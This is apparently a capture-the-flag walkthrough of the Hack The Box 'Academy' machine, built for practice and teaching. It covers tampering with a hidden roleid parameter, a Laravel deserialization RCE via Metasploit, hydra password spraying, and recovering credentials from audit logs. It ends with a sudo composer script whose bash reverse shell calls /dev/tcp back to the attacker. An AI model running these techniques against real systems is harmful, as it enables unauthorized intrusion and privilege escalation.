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x00tex

Scanning

Nmap

ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.10.215 | grep open | awk -F / '{print $1}' ORS=',') echo $ports && nmap -p$ports -sV -sC -v -T4 -oA scans/nmap.full 10.10.10.215

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000
  • on port 80 10.10.10.215 redirect to academy.htb
  • add academy.htb in /etc/hosts

Web_server

Gobuster

gobuster dir -u 10.10.10.215 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php -t 50

/academy (Status: 301)

gobuster dir -u http://10.10.10.215/academy/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 40 -b 401,402,403,404

/.env (Status: 200)
  • directory brute-forcing host give so much information and the direct ssh for user in .env , I think this is unintended because it skips the foothold part .

VHOST:academy.htb

  • in the right corner there are two options login register gobuster also identify them

Gobuster

gobuster dir -u http://academy.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -t 50

/admin.php (Status: 200)
/login.php (Status: 200)
/register.php (Status: 200)

login

Nothing interested in login

register

  • in the source found hidden tag

    <input type="hidden" value="0" name="roleid" />
    
  • roleid is related to RST_API

    • there is a Role management system in the REST_API
    • Role management resources provide a facility to manage roles used to determine resource access for users.
    • roleid set either a name or number eg. user or 0
  • intercept register request in burp found roleid parameter

    uid=test1&password=test1&confirm=test1&roleid=0
    
  • this server is using numbers as roleid

  • after some tries i found that there are only two IDs 0 or 1

  • roleid=0 register a user account

  • roleid=1 register a admin account

  • so i intercept a register request change roleid to 1 and create a admin account

admin

found admin.php in gobuster scan

  • login with registered roleid=1 creds

  • found a VHOST and 2 users

    Complete initial set of modules (cry0l1t3 / mrb3n)	done
    Fix issue with dev-staging-01.academy.htb	                pending
    
  • add in /etc/hosts

VHOST:dev-staging-01.academy.htb

  • there is some kind of application running on the host and it return a error message.

    UnexpectedValueException
    
  • reading thru it i found some interesting data

    APP_NAME 	"Laravel"
    APP_KEY 	"base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
    
    DB_CONNECTION 	"mysql"
    DB_HOST 	"127.0.0.1"
    DB_PORT 	"3306"
    DB_DATABASE 	"homestead"
    DB_USERNAME 	"homestead"
    DB_PASSWORD 	"secret"
    
  • found application name and mysql config but db is in local so not useful for now .

Laravel

description : Laravel is a free, open-source PHP web application framework which is accessible, powerful, and provides tools required for large, robust applications.

vulnerability : found RCE CVE-2018-15133 and msf module for that CVE .

I don't find which Laravel version running on the server but i give it a go and use msf to check if it works and it worked and give www-data shell

User Exploit

getting user is a long road from user www-data>>cry0l1t3>>mrb3n to get root privesc

www-data shell

what is exploit : Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an deserialized call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.

  • exploit pre-requirement is APP_KEY which i already found

Exploit using MSF

Exploit Module : exploit/unix/http/laravel_token_unserialize_exec

msf5 exploit(unix/http/laravel_token_unserialize_exec) > set RHOSTS 10.10.10.215
RHOSTS => 10.10.10.215
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
VHOST => dev-staging-01.academy.htb
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
app_key => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
[*] Command shell session 1 opened
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@academy:/var/www/html/htb-academy-dev-01/public$ whoami;id
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Escalating to cry0l1t3

  • running linpeas script found nothing except that .env file form /var/www/html/academy/ directory that contains some passwords .

  • .env file contains creds for local sql database

    DB_CONNECTION=mysql
    DB_HOST=127.0.0.1
    DB_PORT=3306
    DB_DATABASE=academy
    DB_USERNAME=dev
    DB_PASSWORD=mySup3rP4s5w0rd!!
    
  • but not able to login into the database using these creds

  • try spraying that password to all users with hydra for ssh login,

    hydra -L users.txt -P password.txt 10.10.10.215 -t 4 ssh

    [DATA] attacking ssh://10.10.10.215:22/
    [22][ssh] host: 10.10.10.215   login: cry0l1t3   password: mySup3rP4s5w0rd!!
    1 of 1 target successfully completed, 1 valid password found
    

thats why i thought that founding .env file from gobuster is unintended

creds

cry0l1t3:mySup3rP4s5w0rd!!

Escalating to mrb3n

  • user cry0l1t3 is in adm group

    cry0l1t3@academy:~$ groups
    cry0l1t3 adm
    cry0l1t3@academy:/home$ id
    uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
    
  • adm group : adm Group is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.

    • that means user cry0l1t3 can read system logs.
    • understand all types of log in linux by privacyangel.com
  • there is a audit log dir which is suspiciou.

    • audit log : can use to learn about user activity, which could be used to boost efficiency, security, and performance.
    • audit logs create by linux auditclt service.
  • Note : that audit logs store users commands inputs in DATA field in hex form.

  • I grep all su commands from audit logs and found some interesting data

Final result

  cry0l1t3@academy:/var/log/audit$ grep -r -w su | grep data
  audit.log.3:type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A

  cry0l1t3@academy:/var/log/audit$ grep -r -w su | grep data | awk -F= '{print $11}'
  6D7262336E5F41634064336D79210A

  cry0l1t3@academy:/var/log/audit$ echo $(grep -r -w su | grep data | awk -F= '{print $11}') | xxd -r -p
  mrb3n_Ac@d3my!
  • so user with uid=1002 run su with there own password as command input eg. su mrb3n_Ac@d3my! thats why this log generated.
  • viewing /etc/passwd i find out that UID=1002 belong to user mrb3n.

creds

mrb3n:mrb3n_Ac@d3my!

su to mrb3n

cry0l1t3@academy:~$ su - mrb3n
Password: mrb3n_Ac@d3my!
$ bash
mrb3n@academy:~$ whoami;id
mrb3n
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)

Local Enumeration

  • check sudo rights sudo -l

    User mrb3n may run the following commands on academy:
        (ALL) /usr/bin/composer
    
  • user mrb3n run composer as root

  • Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.

    Note : Only scripts defined in the composer.json are executed .

attack surface

  • Create a composer.json file and inside that file specify reverse shell script
  • run composer and execute the script

Root Exploit

First, create composer.json file

{
    "scripts": {
        "hack": [
            "bash shell.sh"
        ]
    }
}

Second, create shell.sh script

bash -i >& /dev/tcp/tun0/4242 0>&1

Third, open nc port

nc -nvlp 4242

Fourth, run composer

mrb3n@academy:~$ sudo composer hack

shell pops in netcat immediately

root@academy:~# cat root.txt
cat root.txt
29a4ab3f************************